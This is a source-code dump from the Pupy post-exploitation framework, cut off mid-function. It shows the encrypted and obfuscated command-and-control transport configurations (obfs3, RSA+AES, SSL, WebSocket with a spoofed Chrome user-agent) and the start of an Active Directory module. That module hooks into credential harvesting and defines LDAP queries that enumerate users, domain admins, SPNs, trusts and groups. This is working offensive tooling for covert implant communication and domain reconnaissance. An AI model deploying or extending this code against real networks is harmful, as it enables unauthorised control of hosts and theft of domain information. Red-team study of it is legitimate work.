from pupy.network.lib import PupyUDPServer, PupyUDPClient, PupyUDPSocketStream
from pupy.network.lib import EC4TransportClient, EC4TransportServer

class TransportConf(Transport):
    info = "UDP(KCP) + ECPV + RC4"
    name = "kc4"
    server = PupyUDPServer
    client = PupyUDPClient
    stream = PupyUDPSocketStream
    client_transport = EC4TransportClient
    server_transport = EC4TransportServer
    credentials = ['ECPV_RC4_PUBLIC_KEY', 'ECPV_RC4_PRIVATE_KEY']
    dgram = True

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            PUB_KEY = pupy_credentials.ECPV_RC4_PUBLIC_KEY
            PRIV_KEY = pupy_credentials.ECPV_RC4_PRIVATE_KEY

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            PUB_KEY = credentials['ECPV_RC4_PUBLIC_KEY']
            PRIV_KEY = credentials['ECPV_RC4_PRIVATE_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = EC4TransportServer.custom(privkey=PRIV_KEY)
            self.server_transport = EC4TransportClient.custom(pubkey=PUB_KEY)

        else:
            self.server_transport = EC4TransportServer.custom(privkey=PRIV_KEY)
            self.client_transport = EC4TransportClient.custom(pubkey=PUB_KEY)


================================================
FILE: pupy/network/transports/obfs3/__init__.py
================================================


================================================
FILE: pupy/network/transports/obfs3/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream
from pupy.network.lib import RSA_AESClient, RSA_AESServer
from pupy.network.lib import chain_transports
from pupy.network.lib.transports.obfs3.obfs3 import Obfs3Client, Obfs3Server

class TransportConf(Transport):
    info = "TCP transport using obfsproxy's obfs3 transport with a extra rsa+aes layer"
    name = "obfs3"
    server = PupyTCPServer
    client = PupyTCPClient
    stream = PupySocketStream
    credentials = ['SIMPLE_RSA_PUB_KEY', 'SIMPLE_RSA_PRIV_KEY']

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                    Obfs3Client,
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    Obfs3Server,
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )

        else:
            self.client_transport = chain_transports(
                    Obfs3Client,
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    Obfs3Server,
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )


================================================
FILE: pupy/network/transports/rsa/__init__.py
================================================


================================================
FILE: pupy/network/transports/rsa/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream
from pupy.network.lib import RSA_AESClient, RSA_AESServer

class TransportConf(Transport):
    info = "TCP rsa transport"
    name = "rsa"
    server = PupyTCPServer
    client = PupyTCPClient
    stream = PupySocketStream
    credentials = ['SIMPLE_RSA_PUB_KEY', 'SIMPLE_RSA_PRIV_KEY']

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)
            self.server_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)

        else:
            self.client_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)
            self.server_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)


================================================
FILE: pupy/network/transports/ssl/__init__.py
================================================


================================================
FILE: pupy/network/transports/ssl/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of
# the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
import tempfile
import ssl

from pupy.network.lib import PupyTCPServer, PupySocketStream
from pupy.network.lib import DummyPupyTransport, PupySSLClient
from pupy.network.lib.rpc.utils.server import AuthenticationError
from pupy.network.transports import Transport


class PupySSLAuthenticator(object):
    def __init__(self, role, keystr, certstr, castr, client_cert_required=True):
        self.keystr = keystr.strip()
        self.certstr = certstr.strip()
        self.castr = castr.strip()
        self.ciphers = 'HIGH:!aNULL:!MD5:!RC4:!3DES:!DES:!AES128@STRENGTH'
        self.client_cert_required = client_cert_required
        self.cert_reqs = ssl.CERT_REQUIRED \
          if self.client_cert_required else ssl.CERT_OPTIONAL
        self.ssl_version = ssl.PROTOCOL_SSLv23
        self.ROLE = role

    def __call__(self, sock):
        wrapped_socket = None
        tmp_cert_path = None
        tmp_key_path = None
        tmp_ca_path = None

        fd_cert_path, tmp_cert_path = tempfile.mkstemp()
        fd_key_path, tmp_key_path = tempfile.mkstemp()
        fd_ca_path, tmp_ca_path = tempfile.mkstemp()

        os.write(fd_cert_path, self.certstr)
        os.close(fd_cert_path)
        os.write(fd_key_path, self.keystr)
        os.close(fd_key_path)
        os.write(fd_ca_path, self.castr)
        os.close(fd_ca_path)

        try:
            wrapped_socket = ssl.wrap_socket(
                sock,
                keyfile=tmp_key_path,
                certfile=tmp_cert_path,
                ca_certs=tmp_ca_path,
                server_side=True,
                cert_reqs=self.cert_reqs,
                ssl_version=self.ssl_version,
                ciphers=self.ciphers
            )

        finally:
            os.unlink(tmp_cert_path)
            os.unlink(tmp_key_path)
            os.unlink(tmp_ca_path)

        peer = wrapped_socket.getpeercert()
        peer_role = ''

        if self.client_cert_required:
            for (item) in peer['subject']:
                if item[0][0] == 'organizationalUnitName':
                    peer_role = item[0][1]

            if not (self.ROLE == 'CLIENT' and peer_role == 'CONTROL' or \
              self.ROLE == 'CONTROL' and peer_role == 'CLIENT'):
                raise AuthenticationError('Invalid peer role: {}'.format(peer_role))

        return wrapped_socket, peer

def ssl_authenticator():
    keystr = b''
    certstr = b''
    client_cert_required = True

    try:
        import pupy_credentials
        keystr = pupy_credentials.SSL_BIND_KEY
        certstr = pupy_credentials.SSL_BIND_CERT
        castr = pupy_credentials.SSL_CA_CERT
        role = 'CLIENT'

    except ImportError:
        from pupy.pupylib.PupyConfig import PupyConfig
        from pupy.pupylib.PupyCredentials import Credentials

        config = PupyConfig()
        credentials = Credentials()

        client_cert_required = config.getboolean('ssl', 'client_cert_required')

        keystr = credentials['SSL_BIND_KEY']
        certstr = credentials['SSL_BIND_CERT']
        castr = credentials['SSL_CA_CERT']

        role = credentials.role

    return PupySSLAuthenticator(
        role, keystr, certstr, castr,
        client_cert_required=client_cert_required
    )


class TransportConf(Transport):
    info = "TCP transport wrapped with SSL"
    name = "ssl"
    server = PupyTCPServer
    client = PupySSLClient
    stream=PupySocketStream
    client_transport=DummyPupyTransport
    server_transport=DummyPupyTransport
    credentials = [
        'SSL_CA_CERT',
        'SSL_BIND_KEY', 'SSL_BIND_CERT',
        'SSL_CLIENT_KEY', 'SSL_CLIENT_CERT'
    ]

    def authenticator(self):
        return ssl_authenticator()


================================================
FILE: pupy/network/transports/ssl_rsa/__init__.py
================================================


================================================
FILE: pupy/network/transports/ssl_rsa/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
import tempfile
import ssl

from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyTCPServer, PupySSLClient, PupySocketStream
from pupy.network.lib import RSA_AESClient, RSA_AESServer

# This doesn't make any sence, but who cares?

class DummySSLAuthenticator(object):
    def __init__(self, role, keystr, certstr, castr, server_side=False):
        self.keystr = keystr.strip()
        self.certstr = certstr.strip()
        self.castr = castr.strip()
        self.cert_reqs = ssl.CERT_NONE
        self.ssl_version = ssl.PROTOCOL_SSLv23
        self.ROLE = role
        self.server_side=server_side

    def __call__(self, sock):
        wrapped_socket = None
        tmp_cert_path = None
        tmp_key_path = None
        tmp_ca_path = None

        fd_cert_path, tmp_cert_path = tempfile.mkstemp()
        fd_key_path, tmp_key_path = tempfile.mkstemp()
        fd_ca_path, tmp_ca_path = tempfile.mkstemp()

        os.write(fd_cert_path, self.certstr)
        os.close(fd_cert_path)
        os.write(fd_key_path, self.keystr)
        os.close(fd_key_path)
        os.write(fd_ca_path, self.castr)
        os.close(fd_ca_path)

        try:
            wrapped_socket = ssl.wrap_socket(
                sock,
                keyfile=tmp_key_path,
                certfile=tmp_cert_path,
                ca_certs=tmp_ca_path,
                server_side=self.server_side,
                cert_reqs=self.cert_reqs,
                ssl_version=self.ssl_version
            )

        finally:
            os.unlink(tmp_cert_path)
            os.unlink(tmp_key_path)
            os.unlink(tmp_ca_path)

        peer = wrapped_socket.getpeercert()

        return wrapped_socket, peer


def ssl_authenticator():
    keystr = b''
    certstr = b''
    server_side = True

    try:
        import pupy_credentials
        assert(pupy_credentials)
        server_side = False

    except ImportError:
        from pupy.pupylib.PupyCredentials import Credentials

        credentials = Credentials()

        keystr = credentials['SSL_BIND_KEY']
        certstr = credentials['SSL_BIND_CERT']
        castr = credentials['SSL_CA_CERT']

        role = credentials.role

    return DummySSLAuthenticator(
        role, keystr, certstr, castr, server_side
    )


class TransportConf(Transport):
    info = "TCP transport wrapped with dummy SSL with an additional pupy's rsa layer"
    name = "ssl_rsa"

    server = PupyTCPServer
    client = PupySSLClient
    stream = PupySocketStream

    credentials = [
        'SSL_CA_CERT',
        'SSL_BIND_KEY', 'SSL_BIND_CERT',
        'SSL_CLIENT_KEY', 'SSL_CLIENT_CERT',
        'SIMPLE_RSA_PUB_KEY', 'SIMPLE_RSA_PRIV_KEY',
    ]

    def authenticator(self):
        return ssl_authenticator()

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)
            self.server_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)
        else:
            self.client_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)
            self.server_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)


================================================
FILE: pupy/network/transports/tcp_cleartext/__init__.py
================================================


================================================
FILE: pupy/network/transports/tcp_cleartext/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream
from pupy.network.lib import DummyPupyTransport
from pupy.network.transports import Transport

class TransportConf(Transport):
    info = "Simple TCP transport transmitting in cleartext"
    name="tcp_cleartext"
    server=PupyTCPServer
    client=PupyTCPClient
    stream=PupySocketStream
    client_transport=DummyPupyTransport
    server_transport=DummyPupyTransport


================================================
FILE: pupy/network/transports/udp_cleartext/__init__.py
================================================


================================================
FILE: pupy/network/transports/udp_cleartext/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.lib import PupyUDPServer, PupyUDPClient, PupyUDPSocketStream
from pupy.network.lib import DummyPupyTransport
from pupy.network.transports import Transport

class TransportConf(Transport):
    info = "Simple UDP transport transmitting in cleartext"
    name="udp_cleartext"
    server=PupyUDPServer
    client=PupyUDPClient
    stream=PupyUDPSocketStream
    client_transport=DummyPupyTransport
    server_transport=DummyPupyTransport
    dgram=True


================================================
FILE: pupy/network/transports/udp_secure/__init__.py
================================================


================================================
FILE: pupy/network/transports/udp_secure/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyUDPServer, PupyUDPClient, PupyUDPSocketStream
from pupy.network.lib import RSA_AESClient, RSA_AESServer, DummyPupyTransport

class TransportConf(Transport):
    info = "Simple UDP transport transmitting with RSA"
    name="udp_secure"
    server=PupyUDPServer
    client=PupyUDPClient
    stream=PupyUDPSocketStream
    client_transport=DummyPupyTransport
    server_transport=DummyPupyTransport
    dgram=True
    credentials = ['SIMPLE_RSA_PRIV_KEY', 'SIMPLE_RSA_PUB_KEY']

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)
            self.server_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)

        else:
            self.client_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256)
            self.server_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256)


================================================
FILE: pupy/network/transports/ws/__init__.py
================================================


================================================
FILE: pupy/network/transports/ws/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream
from pupy.network.lib import RSA_AESClient, RSA_AESServer, PupyWebSocketClient, PupyWebSocketServer
from pupy.network.lib import chain_transports

from hashlib import md5

DEFAULT_USER_AGENT = \
  'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 ' \
  '(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'

class TransportConf(Transport):
    info = "TCP transport using Websocket with RSA+AES"
    name = "ws"
    server = PupyTCPServer
    client = PupyTCPClient
    stream = PupySocketStream
    credentials = ['SIMPLE_RSA_PRIV_KEY', 'SIMPLE_RSA_PUB_KEY', 'PATH_GEN_SECRET']
    internal_proxy_impl = ['HTTP']

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY
            PATH_GEN_SECRET = pupy_credentials.PATH_GEN_SECRET
        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']
            PATH_GEN_SECRET = credentials['PATH_GEN_SECRET']

        self.client_transport_kwargs.update({
            'host': None,
            'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b"ws").hexdigest()[:8]),
            'user-agent': DEFAULT_USER_AGENT
        })

        self.server_transport_kwargs.update({
            'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b"ws").hexdigest()[:8]),
            'user-agent': DEFAULT_USER_AGENT
        })

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                    PupyWebSocketClient,
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyWebSocketServer,
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )

        else:
            self.client_transport = chain_transports(
                    PupyWebSocketClient,
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyWebSocketServer,
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )


================================================
FILE: pupy/packages/all/ad.py
================================================
# -*- coding: utf-8 -*-

# Stolen from ldapdomaindump

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from future.utils import raise_
from ldap3 import (
    Server, Connection, SIMPLE, ALL, BASE,
    SASL, NTLM, ALL_ATTRIBUTES, GSSAPI, RESTARTABLE
)
from ldap3.core.exceptions import (
    LDAPKeyError, LDAPAttributeError, LDAPInvalidDnError,
    LDAPSocketOpenError, LDAPSocketReceiveError,
    LDAPUnknownAuthenticationMethodError,
    LDAPCommunicationError, LDAPMaximumRetriesError
)

from ldap3.utils.config import set_config_parameter
from ldap3.utils.ciDict import CaseInsensitiveDict
from ldap3.protocol.controls import build_control
from ldap3.strategy.restartable import RestartableStrategy

from pyasn1.type.namedtype import NamedTypes, NamedType
from pyasn1.type.univ import Sequence, Integer

from socket import (
    getfqdn, socket, getaddrinfo, gaierror,
    SOCK_DGRAM, SOCK_STREAM, AF_INET, AF_INET6
)

from socket import error as socket_error
from sys import exc_info, version_info
from os import environ

from datetime import datetime
from threading import Thread, Event
from time import time, clock, mktime
from inspect import isgenerator
from hashlib import md5

from gssapi import exceptions as gssexceptions

try:
    from gssapi import GSSAPI_EXT_PASSWORD
except ImportError:
    GSSAPI_EXT_PASSWORD = False

from netaddr import IPAddress

from pupy.network.lib.dnsinfo import dnsinfo
from pupy.network.lib.scan import scan

try:
    import pupy.agent
    from pupy.network.lib.netcreds import find_creds

    logger = pupy.get_logger('ad')
except ImportError:
    import logging
    logger = logging.getLogger()

    def find_creds(*args, **kwargs):
        return

try:
    import dnslib
    auto_discovery = True
except ImportError:
    auto_discovery = False

if version_info.major > 2:
    xrange = range
    basestring = str


# Monkey-patch _add_exception_to_history to save original exception,
# not some derived shit

_orig_add_exception_to_history = RestartableStrategy._add_exception_to_history

def _add_exception_to_history(self, exc):
    # exc ignored here
    exc_type, exc_value, exc_trace = exc_info()

    # GSSAPI exceptions to be raised fast. Unlikely something will change
    if issubclass(exc_type, gssexceptions.GSSError):
        raise_(exc_type, exc_value, exc_trace)

    if exc_type:
        _orig_add_exception_to_history(self, exc_type(*exc_value))
    else:
        _orig_add_exception_to_history(self, exc)

RestartableStrategy._add_exception_to_history = _add_exception_to_history

set_config_parameter('RESTARTABLE_TRIES', 5)

REALM_CACHE = {}
DISCOVERY_CACHE = {}

MINIMAL_COMPUTERATTRIBUTES = (
    'cn', 'sAMAccountName', 'dNSHostName', 'operatingSystem',
    'operatingSystemServicePack', 'operatingSystemVersion',
    'lastLogon', 'userAccountControl', 'whenCreated', 'objectSid',
    'description', 'objectClass'
)

MINIMAL_USERATTRIBUTES = (
    'cn', 'name', 'sAMAccountName', 'memberOf',
    'primaryGroupId', 'whenCreated', 'whenChanged',
    'lastLogon', 'userAccountControl', 'pwdLastSet',
    'objectSid', 'description', 'objectClass'
)

MINIMAL_GROUPATTRIBUTES = (
    'cn', 'name', 'sAMAccountName', 'memberOf', 'description',
    'whenCreated', 'whenChanged', 'objectSid', 'distinguishedName',
    'objectClass'
)


class SdFlags(Sequence):
    componentType = NamedTypes(NamedType('Flags', Integer()))


def build_sd_control(sdflags=0x05):
    sdcontrol = SdFlags()
    sdcontrol.setComponentByName('Flags', sdflags)
    return build_control('1.2.840.113556.1.4.801', True, sdcontrol)


class ADException(Exception):
    type = 'generic'
    default_message = 'unknown exception'
    childs = []

    __slots__ = ('message',)

    def __init__(self, description=None, replace=False):
        self.message = self.default_message
        if description:
            if replace:
                self.message += ': ' + description
            else:
                self.message += ': ' + description

        super(ADException, self).__init__(self.message)

    def __str__(self):
        return self.__class__.__name__ + ': ' + self.message


class NoContext(ADException):
    type = 'operations'
    default_message = 'Realm not bound'


class AutodiscoveryFailed(ADException):
    type = 'discovery'
    default_message = 'Autodiscovery failed'

    __slots__ = ()


class AutodiscoveryNotAvailable(AutodiscoveryFailed):
    default_message = 'Autodiscovery not available'

    __slots__ = ()


class AutodiscoveryNoDnsServersFound(AutodiscoveryFailed):
    default_message = 'Autodiscovery not available - no discoverable DNS servers'

    __slots__ = ()


class AuthenticationError(ADException):
    type = 'auth'
    default_message = 'Authentication failed'


class BindError(AuthenticationError):
    default_message = 'Bind failed'


class NoCredentials(AuthenticationError):
    default_message = 'No creds'


class BindErrorMulti(BindError):
    default_message = 'Authentications failed'

    def __init__(self, childs):
        super(BindErrorMulti, self).__init__()
        self.childs = tuple(childs)


class CredentialsError(BindError):
    default_message = 'Invalid credentials'


class CommunicationError(ADException):
    type = 'communication'
    default_message = 'Connection failed'


class CommunicationErrorDiscovered(CommunicationError):
    default_message = 'Connection to all discovered servers failed'

    def __init__(self, childs):
        super(CommunicationErrorDiscovered, self).__init__()
        if not childs:
            self.childs = tuple()
            return

        self.childs = tuple(
            (
                authentication, ldap_server, domain, user,
                getattr(e, 'type', e.__class__.__name__),
                e.message
            ) for authentication, ldap_server, domain, user, e in childs
        )


class CommunicationErrorNoDiscovered(CommunicationError):
    default_message = 'No servers found'


class LDAPContext(object):
    __slots__ = (
        'server', 'connection', 'root'
    )

    def __init__(self, server, connection, root):
        self.server = server
        self.connection = connection
        self.root = root


class LDAPRequest(object):
    __slots__ = (
        '_filter', 'attributes', 'value', 'one',
        'minimal'
    )

    def __init__(
        self, filter,
            attributes=ALL_ATTRIBUTES, minimal=None,
            value=None, one=False):

        self._filter = filter
        self.attributes = attributes
        self.minimal = minimal
        self.value = value
        self.one = one

    def _get_result(self, result):
        if self.value:
            if not result:
                return None

            result = result[0][self.value]
            if self.one:
                return result.value
            else:
                return result.values

        return result

    def filter(self, custom_filter, kwargs):
        filter = self._filter

        if kwargs:
            filter = filter.format(**kwargs)

        if custom_filter:
            filter = '(&{}{})'.format(
                filter, custom_filter
            )

        return filter

    def __call__(self, ctx, custom_filter=None, minimal=False, **kwargs):
        filter = self.filter(custom_filter, kwargs)

        ctx.connection.search(
            ctx.root, filter,
            self.minimal if (
                minimal and self.minimal
            ) else self.attributes
        )

        try:
            return self._get_result(ctx.connection.entries)

        except (IndexError, LDAPKeyError):
            return self._get_result([])


class LDAPLargeRequest(LDAPRequest):
    __slots__ = ()

    def __call__(
        self, ctx, on_data, on_completed, interruption,
            page_size=64, custom_filter=None, minimal=False, **kwargs):

        filter = self.filter(custom_filter, kwargs)
        controls = []

        if 'ntsecuritydescriptor' in tuple(attr.lower() for attr in self.attributes):
            controls.append(build_sd_control())

        iterator = ctx.connection.extend.standard.paged_search(
            ctx.root, filter,
            attributes=self.minimal if (
                minimal and self.minimal) else self.attributes,
            paged_size=page_size, paged_criticality=True,
            controls=controls,
            generator=True
        )

        completed = False

        while not (completed or (interruption and interruption.is_set())):
            chunk = []

            for _ in xrange(page_size):
                try:
                    chunk.append(next(iterator))
                except StopIteration:
                    completed = True
                    break

            if chunk:
                if on_data:
                    chunk = self._get_result(chunk)
                    on_data(chunk)
                del chunk[:]

        if on_completed:
            on_completed()


ADUser = LDAPRequest(
    '(&(objectCategory=person)(objectClass=user)(sAMAccountName={username}))',
    ('cn', 'memberOf', 'primaryGroupId'),
)

ADAdmin = LDAPRequest(
    '''
        (&
            (objectCategory=person)
            (objectClass=user)
            (sAMAccountName={username})'
            (|
                (memberOf:1.2.840.113556.1.4.1941:={dagroup})'
                (memberOf:1.2.840.113556.1.4.1941:={eagroup}))
            )
        )
    ''',
    ('cn', 'sAMAccountName')
)

AllUsers = LDAPLargeRequest(
    '(&(objectCategory=person)(objectClass=user))',
    minimal=MINIMAL_USERATTRIBUTES
)

AllComputers = LDAPLargeRequest(
    '(&(objectCategory=computer)(objectClass=user))',
    minimal=MINIMAL_COMPUTERATTRIBUTES
)

AllSPNs = LDAPLargeRequest(
    '(&(objectCategory=computer)(objectClass=user)(servicePrincipalName=*))'
)

AllGroups = LDAPLargeRequest(
    '(objectClass=group)',
    minimal=MINIMAL_GROUPATTRIBUTES
)

DomainPolicy = LDAPLargeRequest(
    '(objectClass=domain)'
)

Trusts = LDAPLargeRequest(
    '(objectClass=trustedDomain)'
)

SecurityGroups = LDAPLargeRequest(
    '(groupType:1.2.840.113556.1.4.803:=2147483648)'
)

RootSid = LDAPRequest(
    '(objectClass=domain)', ['objectSid'], 'objectSid'
)

GroupMembers = LDAPLargeRequest(
    '(&(objectCategory=person)(objectClass=user)(memberOf:1.2.840.113556.1.4.1941:={group}))',
    MINIMAL_USERATTRIBUTES
)

GroupDNFromId = LDAPRequest(
    '(objectSid={domain}-{gid})',
    ['distinguishedName'],
    'distinguishedName',
    True
)

IMM = 0
LIST = 1
MAP = 2
DATE = 3


# To fit into brine
def as_tuple_deep(obj):
    if isinstance(obj, (list, tuple)) or isgenerator(obj):
        return LIST, tuple(
            as_tuple_deep(child) for child in obj
        )
    elif isinstance(obj, dict):
        return MAP, tuple(
            (
                key, as_tuple_deep(value)
            ) for key, value in obj.viewitems()
        )
    elif isinstance(obj, CaseInsensitiveDict):
        return MAP, tuple(
            (k, as_tuple_deep(obj[k])) for k in obj
        )
    elif isinstance(obj, datetime):
        timetuple = obj.timetuple()
        if timetuple.tm_year < 1970:
            return DATE, 0
        return DATE, mktime(timetuple)
    elif hasattr(obj, '__slots__'):
        return MAP, tuple(
            (k,
                as_tuple_deep(getattr(obj, k))
            ) for k in obj.__slots__
        )
    else:
        return IMM, obj


class ADLdapServer(object):
    __slots__ = (
        'port', 'priority', 'address'
    )

    def __init__(self, address, port, priority):
        if hasattr(address, 'label'):
            self.address = '.'.join(address.label)
        else:
            self.address = address

        self.port = port
        self.priority = priority

    def __le__(self, other):
        return self.priority.__le__(other.priority)

    def __cmp__(self, other):
        return self.priority.__cmp__(other.priority)

    def __repr__(self):
        return self.__class__.__name__ + '({}, {}, {})'.format(
            repr(self.address), repr(self.port), repr(self.priority)
        )


class ADCtx(object):
    __slots__ = (
        'realm', 'server', 'connection', 'root',
        'global_catalog',
        '_interrupt', '_kwargs', '_timeout',

        '_i_am',
        '_ldap_servers', '_name_servers', '_ns_socket', '_ns_udp',
        '_preferred_name_server', '_preferred_ldap_server'
    )

    SIMPLE_DUMP_REQUESTS = {
        'groups': AllGroups,
        'users': AllUsers,
        'computers': AllComputers,
        'policy': DomainPolicy,
        'trusts': Trusts,
        'spns': AllSPNs,
        'security_groups': SecurityGroups
    }

    def _bootstrap_ns(self, timeout=1, first=True, on_data=None):
        query = dnslib.DNSRecord.question(self.realm, 'SOA')

        try:
            addrs = getaddrinfo(self.realm, 53)
        except gaierror:
            addrs = []
            logger.info('No DNS servers found for this realm')

        local_addrs, _ = dnsinfo()
        local_addrs = [
            (
